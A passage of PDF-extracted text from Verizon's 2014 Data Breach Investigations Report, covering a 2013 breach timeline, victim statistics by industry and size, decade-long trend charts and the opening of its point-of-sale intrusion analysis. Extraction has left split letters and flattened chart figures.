ONS REPORT APRIL i n April, another U.S. grocery retailer, Schnucks, reported a POS data breach. The Syrian Electronic Army (SEA) did some damage when it hijacked the Associated Press’ Twitter account, sending a tweet reporting an explosion at the White House and causing a spasm on Wall Street. Operation Ababil continued, but OS i NT cannot support attributing DoS attacks on several European banks to the QCF . M AY Cyber-espionage continued in May, with reports from QinetiQ and the U.S. Army Corps of Engineers. The SEA hijacked the Twitter accounts of both The Guardian and The Financial Times. A watering hole attack targeted nuclear weapons researchers in the U.S. for cyber-espionage, probably from China. More cyber-espionage campaigns reported in May included Operation Hangover, targeting Pakistan; Safe, targeting Mongolia; and operations by the Sunshop actors against Tibetan activists. The U.S. Department of Justice shut down Liberty Reserve, the go-to bank for cyber-criminals. JUNE Early in June, Raley’s, yet another U.S. grocer with stores in California and Nevada, reported its payment card systems were breached. NetTraveller, a global cyber-espionage campaign targeting diplomats in countries with interests not aligned with China occurred. A day later, The Guardian published the first intelligence leaked by Edward Snowden… and then i nfoSec intelligence became the “All-Snowden-All-the- Time” channel. JUL Y July’s largest retailer data breach was reported by Harbor Freight, a U.S. tool vendor with 445 stores – nearly 200 million customers and we still don’t know how many records were compromised. The QCF initiated Phase i V of Operation Ababil. The SEA breached Viber, Tango, and the Daily Dot. The U.S. Department of Justice indicted four Russians and one Ukrainian for high-profile data breaches, including Heartland and Global Payments. AUGUST i n August, the SEA hijacked the Twitter accounts of CNN, The Washington Post, Time Magazine, SocialFlow, and both The New Y ork Times and New Y ork Post. Attendees of the G-8 Summit in St. Petersburg, Russia, were targeted for cyber-espionage by the Calc Team actors. SEPTEMBER i n September, Vodafone notified two million customers their personal and financial information had been breached. Espionage reported in September involved the EvilGrab Trojan and separately, the Hidden Lynx actors who seem to engage in both espionage and cybercrime. New intelligence linked the Bit9 attack from February with Operation Deputy Dog, Hidden Lynx, and watering hole attacks on Japanese financial institutions. At the end of the month Brian Krebs began his reports on intelligence extracted from ssndob[dot]ms. The site was home to data stolen from some of America’s largest data brokers: Lexis-Nexis, Kroll, and Dun & Bradstreet. Cryptolocker made its first appearance in September, extorting money from victims that were willing to pay to decrypt their essential files. OCTOBER On October 3, Adobe announced its systems had been breached; eventually 38 million accounts were identified as affected. i ntelligence connected this to the ssndob[dot]ms actors. Nordstrom, the luxury U.S. department store, discovered skimmers on some of its cash registers. Two of 2013’s big wins also occurred in October: Dmitry “Paunch” Fedotov, the actor responsible for the Blackhole exploit kit, was arrested in Russia, and Silk Road, an online fraud bazaar, was taken down. NOVEMBER The proverbial calm before the storm, November was fairly quiet. Banking malware evolved with reports of Neverquest and another version of i ce i X. B i PS, a major European bitcoin payment processor, was the victim of one of the largest bitcoin heists recorded up to that point in time. DECEMBER The last significant entry under cyber-espionage for 2013 was the targeting of foreign ministries in European countries by Operation Ke3chang. The Washington Post reported its second breach of the year. And then i nfoSec intelligence became the “All-Target-All-the-Time” channel. Although the breach of this major U.S. retailer was a little more than half the size of Heartland and three-fourths the size of TJX, it’s vying to become the event for which 2013 will always be remembered.   Questions? Comments? Brilliant ideas? We want to hear them. Drop us a line at dbir@verizon.com, find us on LinkedIn, or tweet @VZdbir with the hashtag #dbir. 4 VERIZON ENTERPRISE SOLUTIONS VICTIM DEMOGRAPHICS Readers of the DBIR frequently approach us with two important questions. How generally representative are the findings of this report? Are these findings relevant to my organization? To help get you oriented with this year’s report, let’s see what the data has to show us. The 2013 DB i R featured breaches affecting organizations in 27 countries. This year’s report ups that tally by 350%, to 95 distinct countries (Figure 1). All major world regions are represented, and we have more national Computer Security i ncident Response Teams (CS iRTs) than ever before. Our ability to compare global trends has ne ver been higher. But it’s not quite that simple. The charter, focus, methods, and data differ so much between CS i RTs that it’s difficult to attribute differences to true variations in the threat environment.2 However, regional blind spots are getting smaller thanks to our growing list of contributors (see Appendix C), and we’re very happy with that. Figure 1.Countries represented in combined caseload Countries represented in combined caseload (in alphabetical order): Afghanistan, Albania, Algeria, Argentina, Armenia, Australia, Austria, Azerbaijan, Bahrain, Belarus, Belgium, Bosnia and Herzegovina, Botswana, Brazil, Brunei Darussalam, Bulgaria, Cambodia, Canada, Chile, China, Colombia, Congo, Croatia, Cyprus, Czech Republic, Denmark, Egypt, Ethiopia, Finland, France, Georgia, Germany, Greece, Hong Kong, Hungary, i ndia, i ndonesia, i ran, i slamic Republic of, i raq, i reland, i srael, i taly, Japan, Jordan, Kazakhstan, Kenya, Korea, Republic of, Kuwait, Kyrgyzstan, Latvia, Lebanon, Lithuania, Luxembourg, Macedonia, the former Yugoslav Republic of, Malaysia, Mali, Mauritania, Mexico, Moldova, Republic of, Montenegro, Morocco, Mozambique, Nepal, Netherlands, New Zealand, Oman, Pakistan, Palestinian Territory, Occupied, Peru, Philippines, Poland, Portugal, Qatar, Romania, Russian Federation, Saudi Arabia, Singapore, Slovakia, Slovenia, South Africa, Spain, Switzerland, Taiwan, Province of China, Tanzania, United Republic of, Thailand, Turkey, Turkmenistan, Uganda, Ukraine, United Arab Emirates, United Kingdom, United States, Uzbekistan, Vietnam, Virgin i slands. 5 VERIZON 2014 DATA BREACH INVESTIGATIONS REPORT Industry Total Small Large Unknown Accommodation [72] 212 115 34 63 Administrative [56] 16 8 7 1 Agriculture [11] 4 0 3 1 Construction [23] 4 2 0 2 Education [61] 33 2 10 21 Entertainment [71] 20 8 1 11 Finance [52] 856 43 189 624 Healthcare [62] 26 6 1 19 i nformation [51] 1,132 16 27 1,089 Management [55] 10 1 3 6 Manufacturing [31, 32,33] 251 7 33 211 Mining [21] 11 0 8 3 Professional [54] 360 26 10 324 Public [92] 47,479 26 47,074 379 Real Estate [53] 8 4 0 4 Retail [44, 45] 467 36 11 420 Trade [42] 4 3 0 1 Transportation [48, 49] 27 3 7 17 Utilities [22] 166 2 3 161 Other [81] 27 13 0 14 Unknown 12,324 5,498 4 6,822 Total 63,437 5,819 47,425 10,193 Next, let’s review the different industries and sizes of victim organizations in this year’s dataset (Figure 2). The Public sector’s astronomical count is primarily a result of U.S. agency reporting requirements, which supply a few of our contributors with a vast amount of minor incidents (more on that later), rather than a sign of higher targeting or weak defenses. Figure 3 filters out the minutiae by narrowing the dataset to only those incidents involving confirmed data compromise. Moving beyond the Public sector outlier, both Figure 2 and Figure 3 show demographics relatively similar to prior years.Industry Total Small Large Unknown Accommodation [72] 137 113 21 3 Administrative [56] 7 3 3 1 Construction [23] 2 1 0 1 Education [61] 15 1 9 5 Entertainment [71] 4 3 1 0 Finance [52] 465 24 36 405 Healthcare [62] 7 4 0 3 i nformation [51] 31 7 6 18 Management [55] 1 1 0 0 Manufacturing [31, 32,33] 59 6 12 41 Mining [21] 10 0 7 3 Professional [54] 75 13 5 57 Public [92] 175 16 26 133 Real Estate [53] 4 2 0 2 Retail [44, 45] 148 35 11 102 Trade [42] 3 2 0 1 Transportation [48, 49] 10 2 4 4 Utilities [22] 80 2 0 78 Other [81] 8 6 0 2 Unknown 126 2 3 121 Total 1,367 243 144 980 We saw some increases where we added new industry-specific contributors, so pieces of the puzzle are filling in. Certain sectors will always skew higher in the victim count given their attractiveness to financially motivated actors — i.e., those that store payment card or other financial data. But even discounting that, we don’t see any industries flying completely under the radar. And that’s the real takeaway here — everyone is vulnerable to some type of event. Even if you think your organization is at low risk for external attacks, there remains the possibility of insider misuse and errors that harm systems and expose data. So, we can’t claim to have unbiased coverage of every type and size of organization on the planet (fingers crossed for next year, though!). But we dare say that the majority of readers will be able to see themselves or something that looks enough like them in this sample. For more information on the NA iCS codes [shown above] visit: https://www .census.gov/cgi-bin/sssd/naics/naicsrch?chart=2012Small = organizations with less than 1,000 employees, Large = organization with 1,000+ employeesFigure 2. Number of security incidents by victim industry and organization size, 2013 datasetFigure 3.Number of security incidents with confirmed data loss by victim industry and organization size, 2013 dataset 6 VERIZON ENTERPRISE SOLUTIONS A DECADE OF DBIR DATA Long-time readers of this report will know that we’re not very good at maintaining the status quo. The sources of data grow and diversify every year. The focus of our analysis shifts. The way we visualize data and organize results evolves over time. And with the 2014 DB i R, we’re really gonna shake things up. This section attempts to create an “as-comparable-as-possible” set of findings to previous DBIRs. It “only” includes breaches from 2004-2012, plus the 1,367 incidents for which data compromise was confirmed in 2013. While this does make it hard to meaningfully compare trends across time, it has the positive effect of shining light into new and shadowy areas each year. The truth of the matter is that we’re more interested in exploring and learning than churning out the same ‘ol stuff each time just to measure deltas.That said, measuring deltas has value and we know readers appreciate some level of continuity between reports. Thus, this section attempts to create an “as-comparable-as-possible” set of findings to previous DB i Rs. i t “only” includes breaches from 2004-2012, plus the 1,361 incidents for which data compromise was confirmed in 2013. i t’s worth noting that this represents the high mark in ten years of data breaches, and is the first time we’ve crossed 1,000. (Give a round of applause to all those contributors who keep adding fuel to the bonfire.) We began writing a lot of commentary for this section, but then changed our minds. Instead, we’ll churn out some eye candy for you to chew on as long as you like with only a few general observations from us. We began writing a lot of commentary for this section, but changed our minds. i nstead, we’ll churn out some eye candy for you to chew on as long as you like, with only a few general observations from us. A BRIEF PRIMER ON VERIS AND VCDB The Vocabulary for Event Recording and incident Sharing (VER iS) is designed to pro vide a common language for describing security incidents in a structured and repeatable manner. i t takes the narrative of “who did what to what (or whom) with what result, ” and translates it into the kind of data you see in this report. Because we hope to facilitate the tracking and sharing of security incidents, we released VER i S for free public use. Get additional information on the VER i S community site ; the full schema is available on GitHub. Both are good companion references to this report for understanding terminology and context.www.veriscommunity.com | github.com/vz-risk/verisLaunched in 2013, the VER iS Community Database (VCDB) project enlists the cooper ation of volunteers in the security community in an attempt to record all publicly disclosed security incidents in a free and open dataset. We leverage VCDB for a few sections in this report, which are clearly marked. Learn more about VCDB by visiting the website below.vcdb.org 7 VERIZON 2014 DATA BREACH INVESTIGATIONS REPORT Figure 4 depicts the raw count of breaches attributed to external, internal, and partner actors over the 10-year history of our breach data. Figure 5 shows this as a proportion of all breaches and rearranges the categories to highlight exclusivity and overlap among them. i t uses a third-degree polynomial trend line to make it nice and smooth, so we can see the basic behavior over time. Together they help answer our primary questions of interest — which actors perpetrate the most breaches and what’s the relative change over time? Since we’re letting the visualizations do most of the talking here, we’ll only make a few observations and leave the rest for homework.• T en years offers some nice min/max/most likely estimates for you modelers out there. Barring 2006-2008, the overall ratio is relatively stable, especially when you consider the dramatic changes in total breaches and sources in scope each year. • 2007 is the only y ear showing an insider majority in Figure 4. This is primarily the result of an unusually small Verizon caseload for confirmed breaches and an influx of U.S. Secret Service data from 2006-2008. We essentially crashed two equally sized – but very different – samples together. • That giant dip for e xternal actors in 2012 seen in Figure 4 coincides with an overall drop in breach count that year, mainly due to fewer large, multi-victim POS intrusion sprees targeting SMBs in the dataset. • Thanks to se veral new partners who focus on insider crimes, the proportional trend line for internal swings up over the last couple years while external turns downward. i f we removed the polynomial curving, however, you’d see a positive regression for outsiders and a slightly negative one for insiders.Figure 4. Number of breaches per threat actor category over time 2505007501000 2004 2005 2006 2007 2008 2009 2010 2011 2012 2013 PartnerInternalExternal Figure 5. Percent of breaches per threat actor category over time 25%50%75%100% 2004 2005 2006 2007 2008 2009 2010 2011 2012 2013PartnerInternal CollusionExternal 8 VERIZON ENTERPRISE SOLUTIONSBREACHES VS INCIDENTS? This report uses the following definitions: Incident: A security event that compromises the integrity, confidentiality, or availability of an information asset. Breach: An incident that results in the disclosure or potential exposure of data. Data disclosure: A breach for which it was confirmed that data was actually disclosed (not just exposed) to an unauthorized party. Two different views indicating how the motives of threat actors have changed over the last five years appear in Figure 6 and 7. The line chart (Figure 6) gives the relative percentage of the top three motives in our dataset, while Figure 7 uses an area plot of total incident counts. • W e knew espionage had been rising over the last few years, but the trend line chart surprised us by the degree of convergence with financial motives. Will that continue? • i s this finding merely the result of adding contributors to the DB i R who specialize in espionage, or is money truly diminishing as the prime driver of crime on the i nternet? We have an easier time believing the former than the latter, but it certainly makes us want to continue widening our collection of breach data in the future. • The area plot reminds us that mone y-motivated breaches still outnumber others by a good margin. To borrow from Pink Floyd, most actors still want to “grab that cash with both hands and make a stash. ”Figure 8 has the challenging job of exhibiting 10 years of threat actions leading to data breaches. We experimented with alternate ways to visualize this, but thought the simplicity of this chart worked best. Keep in mind that actions aren’t mutually exclusive; several can contribute to an incident (the same goes for actors and assets).• This chart does a superb job underscoring the value of data sharing. Y ou can see the number of breaches and diversity of threats grow as the DB i R transitions from single sample to a meta study. • But it’ s not all because of changes in the sample set. Notice how the hacking and malware categories explode upward in 2009 and social tactics begin to climb in 2010. These have parallel stories in the real world (e.g., better automated attack tools and D i Y malware kits), and it’s fascinating to see them reflected in the data. 2004 2005 2006 2007 2008 2009 2010 2011 2012 2013MalwareHacking Misuse ErrorPhysicalSocial 200400600800Figure 8. Number of breaches per threat action category over timeFigure 6. Percent of breaches per threat actor motive over time 2013 2011 2010 2009 201225%50%75%100% Ideology/FunEspionageFinancial 2013 2011 2010 2009 20122505007501000 FinancialEspionageIdeology/FunFigure 7. Number of breaches per threat actor motive over time 9 VERIZON 2014 DATA BREACH INVESTIGATIONS REPORT Figure 9 dives deeper into the specific varieties of threat actions observed over the last five years. The overall top twenty across the five-year span is listed in successive columns, and the lines connecting columns highlight how each action changes over time.. To be honest, concise commentary on this visualization may be impossible. Y es, it’s incredibly busy, but it’s also incredibly information-dense. Let your eyes adjust and then explore whatever strikes your fancy. As an example, follow RAM scrapers through the years. They start at #5 in 2009, drop way down over the next few years and then shoot up the charts to the #4 spot in 2013. We talk about that resurgence in the POS intrusions section of this report. Literally every item in Figure 9 has a story if you care to look for it. Enjoy.Figure 9. Top 20 varieties of threat actions over time 2010 2009 2012 2011 2013 Use of stolen creds [hac] 422 Use of stolen creds [hac] 203 Use of stolen creds [hac] 327 Use of stolen creds [hac] 84Use of stolen creds [hac] 28Export data [mal] 327 Export data [mal] 183Export data [mal] 309Export data [mal] 233 Export data [mal] 103 Phishing [soc] 245 Phishing [soc] 181 Phishing [soc] 62 Phishing [soc] 11Phishing [soc] 10Ram scraper [mal] 223 Ram scraper [mal] 27 Ram scraper [mal] 21Ram scraper [mal] 17Backdoor [mal] 165Backdoor [mal] 209 Backdoor [mal] 214Backdoor [mal] 104 Backdoor [mal] 267 Use of backdoor or C2 [hac] 152Use of backdoor or C2 [hac] 192 Use of backdoor or C2 [hac] 237 Use of backdoor or C2 [hac] 202Use of backdoor or C2 [hac] 94 Spyware/Keylogger [mal] 149Spyware/Keylogger [mal] 215 Spyware/Keylogger [mal] 480 Spyware/Keylogger [mal] 255 Spyware/Keylogger [mal ]28 Downloader [mal] 144 Downloader [mal] 181 Downloader [mal] 59 Downloader [mal] 15Downloader [mal] 13Capture stored data [mal] 133Capture stored data [mal] 196 Capture stored data [mal] 58 Capture stored data [mal] 8Capture stored data [mal] 11C2 [mal] 119C2 [mal] 183 C2 [mal] 61 C2 [mal] 15 C2 [mal] 4SQLi [hac] 109 SQLi [hac] 25SQLi [hac] 53SQLi [hac] 53 SQLi [hac] 13 Brute force [hac] 108Brute force [hac] 188Brute force [hac] 581 Brute force [hac] 221Brute force [hac] 107 Rootkit [mal] 106 Rootkit [mal] 106 Rootkit [mal] 31 Rootkit [mal] 0 Rootkit [mal] 0Tampering [phy] 102 Tampering [phy] 56Tampering [phy] 146Tampering [phy] 300 Tampering [phy] 22 Disable controls [mal] 2Disable controls [mal] 188 Disable controls [mal] 169 Disable controls [mal] 102 Disable controls [mal] 7Password dumper [mal] 75Password dumper [mal] 70 Password dumper [mal] 51 Password dumper [mal] 0 Password dumper [mal] 0Privillege abuse [mis] 65Privillege abuse [mis] 59 Privillege abuse [mis] 33Privillege abuse [mis] 59 Privillege abuse [mis] 18 Scan network [mal] 62Scan network [mal] 101 Scan network [mal] 2Scan network [mal] 38 Scan network [mal] 1 Adminware [mal] 39Adminware [mal] 33 Adminware [mal] 28Adminware [mal] 47Adminware [mal] 90 Footprinting [hac] 8 Footprinting [hac] 4 Footprinting [hac] 2Footprinting [hac] 185 Footprinting [hac] 8Ram scraper [mal] 90 10 VERIZON ENTERPRISE SOLUTIONS Figures 10 and 11 show how the mix of compromised assets has changed over time. i t’s useful because it reveals the “footprint” of attackers as they travel through the victim’s environment in search of data. As defenders, it gives us a sense of what may need extra attention or protection.• Serv ers have typically been on top, probably because attackers know that’s where the data is stored. • User de vices have been growing over time, probably because they offer an easy foot in the door. • Media is the only asset category trending do wn, probably because of an unusually high concentration of (partially-related) cases in 2009 that involved numerous thefts of documents and digital media. • Many ask why the Netw ork category is so low, given that most of these breaches take place over the network. i n view here are specific network devices like routers, switches, etc. Malicious traffic definitely passes through those, but they’re not typically compromised during a breach.i t would be hard to give proper treatment to a decade of data theft without covering the varieties of data stolen over that time period. Thankfully, Figure 12’s got us covered in that department.• i f you compare these trends with those of actor motives from Figure 6 and 7, you’ll see some parallels. Financially-motivated criminals will naturally seek out data that is easily converted to cash, such as bank information and payment cards, while espionage groups target internal corporate data and trade secrets. • The trend for payment card theft is quite f ascinating; it rises quickly to a peak in 2010, and then exhibits a negative slope. There’s an uptick in 2013, but it was still the first year in the history of this report where the majority of data breaches did not involve payment cards. • Authentication credentials are useful in both the criminal underground and the shadowy world of the clandestine, and that demand is reflected here.Figure 10. Percent of breaches per asset category over time 2013 2011 2010 2009 201210%20%30%40%50% Kiosk Person MediaUser Devices NetworkServerBank Payment CredentialsPersonal Internal Secrets2004 20062005 2007 20092008 2010 2011 20132012100200300400500 2004 20062005 200720092008 2010 2011 20132012100200300400500600 600 2004 20062005 2007 20092008 2010 2011 20132012100200300400500 2004 20062005 2007 20092008 2010 2011 20132012100200300400500600 600 2004 20062005 2007 20092008 2010 2011 20132012100200300400500 2004 20062005 2007 20092008 2010 2011 20132012100200300400500600 600 Figure 12. Breach count by data variety over time Figure 11.Number of breaches per asset category over time 2013 2011 2010 2009 2012200400600 Kiosk Person MediaUser Devices NetworkServer 11 VERIZON 2014 DATA BREACH INVESTIGATIONS REPORT Take a deep, calming breath before diving into this last one; it may result in mental or even bodily harm. i n Figure 13, we’re contrasting how long it takes the attacker to compromise an asset with how long it takes the defender to discover this. We chose to peg this on “days” to keep things simple and stark (one might also add “sad” to that alliteration). • i gnore the behavior of the lines for a minute and focus on the wide gap between percentages for the two phases. i t smacks us with the fact that the bad guys seldom need days to get their job done, while the good guys rarely manage to get theirs done in a month of Sundays. • The trend lines follo w that initial smack with a roundhouse kick to the head. They plainly show that attackers are getting better/faster at what they do at a higher rate than defenders are improving their trade. This doesn’t scale well, people. • W e thought about superimposing “total spending on network monitoring, ” “number of security products on the market, ” and “number of Certified i nformation Systems Security Professionals (C i SSPs) in the workplace, ” but we were concerned it would result in much self-inflicted harm within the security community. And we’d much rather you guys and gals stick around and help us fix this.Having dealt that last blow regarding timelines, readers familiar with the traditional flow of the DB i R may expectantly hear that Mortal Kombat imperative of “Finish Him!” in their heads as we head into discussion of breach discovery methods. But there will be no triumphant “Fatality!” announcement here; we’re going to show mercy instead and end on a positive note.• W e’re thrilled to see that internal discoveries outnumber external fraud detection for the first time in DB i R history! • i t’s great that law enforcement is steadily getting better and better at detecting breaches and notifying victims! • Unrelated third parties, lik e CS i RTs and threat researchers, are quickly rising as an important and prominent way that victims — especially espionage victims — come to learn about breaches. Keep up the good work, folks; we’re making a dent! We hope you enjoyed this little ten-year trip down memory lane as much as we did. This small band of geeks is grateful to Verizon for allowing us to spend so much time in our playground of breach information. We’re also grateful to the many organizations that have participated in making it possible; without your contributions the data would have gotten stale years ago. And finally, thanks to all you readers out there who download this document and consider these trends as you fight the good fight of protecting information and customers. May the next ten years find us all on the winning side of that battle.Figure 13. Percent of breaches where time to compromise (red)/time to discovery (blue) was days or less 2004 20062005 2007 20092008 2010 2011 2013201225%50%75%100%Time to compromise Time to discoveryFigure 14. Breach discovery methods over time InternalFraud Detection Law Enforcement Third Party2004 20062005 2007 20092008 2010 2011 2013201220%40%60%80% Questions? Comments? Brilliant ideas? We want to hear them. Drop us a line at dbir@verizon.com, find us on LinkedIn, or tweet @VZdbir with the hashtag #dbir. 12 VERIZON ENTERPRISE SOLUTIONS RESUL TS AND ANAL YSIS he seeds of our approach to the 2014 DB iR began to grow during the final phase of dr afting the 2013 report. When trying to present statistics around threat actions in a simple and meaningful way, we noticed certain combinations of actors, actions, and assets frequently occurring together within an incident scenario. We gave names to three of these and included some “scratch paper” calculations showing they collectively described 68% of the entire dataset (Figure 15). Production deadlines prevented further exploration into that phenomenon, so we left readers with this thought: “We may be able to reduce the majority of attacks by focusing on a handful of attack patterns. ” But as soon as the 2013 DB i R was put to bed, we returned to the notion of incident patterns and began studying our dataset from a very new perspective with a new set of techniques. Now, fast forward to the 2014 DB i R. We have more incidents, more sources, and more variation than ever before – and trying to approach tens of thousands of incidents using the same techniques simply won’t cut it. Not only would the dominant incident characteristics drown out the subtleties of the less frequent varieties, but we cannot continue to study those characteristics as though they occur in isolation. A list of the top 20 actions is helpful, but even more helpful is an accounting of the actors that perform them, other actions used in combination with them, and the assets they tend to target. To reel in that prize, we’re going to need a bigger boat. Full throttle, Mr. Hooper! And that brings us back to recurring combinations of actors, actions, assets, and attributes, or more formally, incident classification patterns. i n order to expose these latent patterns in the data, we applied a statistical clustering technique (the bigger boat) by creating a matrix aggregating incidents within each of the common VER i S enumerations and calculating the numeric “distance” between them. This enabled us to find clusters, or patterns, of strongly related VER i S enumerations within the incident dataset. “Strongly related” here essentially means they often occur together in the same incidents and are distinct in some way from other combinations. The first time through, we tossed everything in and looked at the clustering (of the hierarchical type if you’re into that) of VER i S enumerations. Some clusters were obvious, like the social action of phishing with the social vector of email. However, we were looking for clusters that describe comprehensive incident classifications rather than just frequent pairings. For example, incidents involving physical tampering of ATMs by organized criminal groups to steal payment cards stood out like a Wookie among Ewoks. So we labeled that pattern “skimmers, ” removed the matching incidents, and reran the cluster analysis on the remaining incidents to look for the next pattern. i n the end, we identified nine patterns that together describe 94% of the confirmed data breaches we collected in 2013. Nine out of ten of all breaches can be described by nine basic patterns. But (using our best infomercial voice) that’s not all! When we apply the same method to the last three years of breaches, 95% can be described by those same nine patterns. Figure 15. Scratch paper calculations from the 2013 DBIR for commonly-observed incident patterns 111 POS smash-and-grab 190 Physical ATM + 120 Assured Penetration Technique 421 ÷ 621 Total Bre aches 68% 13 VERIZON 2014 DATA BREACH INVESTIGATIONS REPORT But wait — there’s more! Act now, and we’ll throw in all security incidents — not just breaches — from all partners and the VER i S Community Database (VCDB) over the last ten years — for free! Y es, all for the same price of nine patterns, you can describe 92% of 100K+ security incidents! Remember that promise from last year — “We may be able to reduce the majority of attacks by focusing on a handful of attack patterns?” Consider it fulfilled. To us, this approach shows extreme promise as a way to drastically simplify the seemingly endless array of threats we must deal with to protect information assets. We dig into each incident pattern in the following sections, but you can see from Figure 16 that POS intrusions, web app attacks, cyber-espionage, and card skimmers are among the top concerns when we focus on data disclosure. However, it’s not enough to just identify and count the patterns as a whole. Figure 16. Frequency of incident classification patterns Everything elsePOS Intrusions Cyber-espionageWeb App Attacks Insider Misuse CrimewareMiscellaneous Errors Card SkimmersPhysical Theft/Loss DoS Attacks2013 breaches, n=1,367 14% 6%22%35% 8% 4%2% 9%<1% <1% 12%<1% 1%6% 18% 20%25% <1%2013 incidents, n=63,437 14% 3%31% 15%21% 8% 4%1% 14% 5%2011-2013 breaches, n=2,861 1% <1% Figure 17. Number of selected incident classification patterns over time 2505007501,000 2013 2011 2010 2009 2012Card SkimmersCyber- espionagePOS IntrusionsWeb App AttacksInsider MisuseFigure 18. Percent of selected incident classification patterns over time 2013 2011 2010 2009 201225%50%75%100% Card Skimmers Cyber-espionagePOS Intrusions Web App Attacks Insider Misuse 14 VERIZON ENTERPRISE SOLUTIONS Obviously not every organization needs to focus on point of sale attacks. To make the analysis actionable, we pulled all incidents within each industry and then applied the patterns to create the work of art that is Figure 19. i t shows the proportion of incidents within each industry represented by the nine patterns over the last three years. i n order to use Figure 19, identify your industry in the left hand column. Refer to the NA i CS website if you’re unsure where your organization fits. The percentages are relative to each industry. For example, 10% of all Retail incidents fall within the “web app attack” . The coloring should help you quickly identify “hot spots” for your industry and/or discern differing threat profiles across multiple industries.Before continuing on to the detailed discussion of each pattern (which appear in order according to Figure 18), you may want to study Figure 19. Look up the industry (or industries) that matter to you, identify which patterns are most relevant, and pay special attention to those sections in the report (you’ll still want to read the whole thing, of course). For those curious about how these incident patterns trend over time, we’ve retrofitted them to pre-2013 data to produce Figures 17 and 18. We’ve heard the (constructive) criticism from some of you noting that it’s difficult to pick out exactly which findings from the DB i R apply to your organization, and we spent a lot of time figuring out how to address that. We hope you’ll agree this is a step in the right direction, not only for this report, but also for threat analysis and decision support in general. Figure 19. Frequency of incident classification patterns per victim industry For more information on the NA iCS codes [shown above] visit: https://www.census.gov/cgi-bin/sssd/naics/naicsrch?chart=2012INDUSTRYPOS INTRUS- IONWEB APP ATTACKINSIDER MISUSETHEFT/ LOSSMISC. ERRORCRIME- WAREPA YMENT CARD SKIMMERDENIAL OF SERVICECYBER ESPION- AGEEVERY- THING ELSE Accommodation [72] 75% 1% 8% 1% 1% 1% <1% 10% 4% Administrative [56] 8% 27% 12% 43% 1% 1% 1% 7% Construction [23] 7% 13% 13% 7% 33% 13% 13% Education [61] <1% 19% 8% 15% 20% 6% <1% 6% 2% 22% Entertainment [71] 7% 22% 10% 7% 12% 2% 2% 32% 5% Finance [52] <1% 27% 7% 3% 5% 4% 22% 26% <1% 6% Healthcare [62] 9% 3% 15% 46% 12% 3% <1% 2% <1% 10% i nformation [51] <1% 41% 1% 1% 1% 31% <1% 9% 1% 16% Management [55] 11% 6% 6% 6% 11% 44% 11% 6% Manufacturing [31, 32,33] 14% 8% 4% 2% 9% 24% 30% 9% Mining [21] 25% 10% 5% 5% 5% 5% 40% 5% Professional [54] <1% 9% 6% 4% 3% 3% 37% 29% 8% Public [92] <1% 24% 19% 34% 21% <1% <1% 2% Real Estate [53] 10% 37% 13% 20% 7% 3% 10% Retail [44, 45] 31% 10% 4% 2% 2% 2% 6% 33% <1% 10% Trade [42] 6% 30% 6% 6% 9% 9% 3% 3% 27% Transportation [48, 49] 15% 16% 7% 6% 15% 5% 3% 24% 8% Utilities [22] 38% 3% 1% 2% 31% 14% 7% 3% Other [81] 1% 29% 13% 13% 10% 3% 9% 6% 17% 15 VERIZON 2014 DATA BREACH INVESTIGATIONS REPORT POiNT-OF-SALE i NTRUS i ONSWEB APP ATTACKSiNSiDER AND PR i V i LEGE M i SUSEPHYS iCAL THEFT AND LOSSMiSCELLANEOUS ERRORSCRiMEWAREPA YMENT CARD SK i MMERSCYBER- ESP i ONAGEDOS ATTACKSEVERYTH iNG ELSEPOINT-OF-SALE (POS) INTRUSIONS The industries most commonly affected by POS intrusions are of no surprise: restaurants, hotels, grocery stores, and other brick-and-mortar retailers are all potential targets. Recent highly publicized breaches of several large retailers have brought POS compromises to the forefront. But at the risk of getting all security-hipster on you — we’ve been talking about this for years. i n fact, this is the main cause of the large dip in 2012 seen in many of the “over time” charts in this report. We were writing about RAM scrapers before anyone heard of them and we’re quite frankly not all that into them anymore because they’ve sold out and gone mainstream. Jokes aside, while POS hacks are getting more press recently, they really have been going on for years and we really have talked quite a bit about them in previous DB i Rs. The media frenzy makes quite a splash, but from a frequency standpoint, this largely remains a small-and-medium business issue. Focusing too much on outliers and headlines can reflect cognitive bias. For instance, some may be surprised that the number of POS attacks in 2012 and 2013 is substantially lower than the number recorded in 2010 and 2011 (despite having ten times more contributors in the latter years). Figure 20 reminds us that our understanding of risk should always come back to the data, not what makes good headlines and marketing fodder. From an attack pattern standpoint, the most simplistic narrative is as follows: compromise the POS device, install malware to collect magnetic stripe data in process, retrieve data, and cash in. All of these attacks share financial gain as a motive, and most can be conclusively attributed (and the rest most likely as well) to organized criminal groups operating out of Eastern Europe. 3 Such groups are very efficient at what they do; they eat POSs like yours for breakfast, then wash ‘em down with a shot of vodka. While the majority of these cases look very much alike, the steps taken to compromise the point-of-sale environment offer some interesting variations.AT A GLANCE Description Remote attacks against the environments where retail transactions are conducted, specifically where card-present purchases are made. Crimes involving tampering with or swapping out devices are covered in the Skimming pattern. Top industriesAccommodation and Food Services, Retail Frequency198 total incidents 198 with confirmed data disclosure Key findings Given recent headlines, some may be surprised to find that POS intrusions are trending down over the last several years. That’s mainly because we’ve seen comparatively fewer attack sprees involving numerous small franchises. Brute forcing remote access connections to POS still leads as the primary intrusion vector. A resurgence of RAM scraping malware is the most prominent tactical development in 2013. We know many of you will come to this section hoping to find all the particulars and dirty laundry of a certain breach involving a major U.S. retailer in late 2013. Prepare to be disappointed; we don’t name victims in this report nor do we divulge client-specific information on any breaches handled by any of the DB i R contributors. i f you want up-to- the-minute news on particular breaches, you’d best look elsewhere. As a consolation prize, however, we hope you’ll accept our overall analysis of two hundred POS intrusions that occurred in 2013, along with recommendations on how you can avoid increasing that number in 2014.Figure 20. Comparison of POS Intrusions and Web App Attacks patterns, 2011-2013 2013 2011 2010 2009 201220%40%60% Web App AttacksPOS IntrusionsPOiNT-OF-SALE i NTRUS i ONS 16 VERIZON ENTERPRISE SOLUTIONS POiNT-OF-SALE i NTRUS i ONSWEB APP ATTACKSiNSiDER AND PR i V i LEGE M i SUSEPHYS iCAL THEFT AND LOSSMiSCELLANEOUS ERRORSCRiMEWAREPA YMENT CARD SK i MMERSCYBER- ESP i ONAGEDOS ATTACKSEVERYTH iNG ELSELet’s start with the most frequent scenario, which affects small businesses that may or may not realize just how lucrative a target they are. This event chain begins with the compromise of the POS device with little to no legwork; the devices are open to the entire i nternet and, to make matters worse, protected with weak or default passwords (and sometimes no passwords). The top three threat actions tell the story rather well (Figure 21). The perpetrators scan the i nternet for open remote-access ports and if the script identifies a device as a point of sale, it issues likely credentials (Brute force) to access the device. They then install malware (RAM scraper) to collect and exfiltrate (Export data) payment card information. One finding that intrigued us is the renaissance of 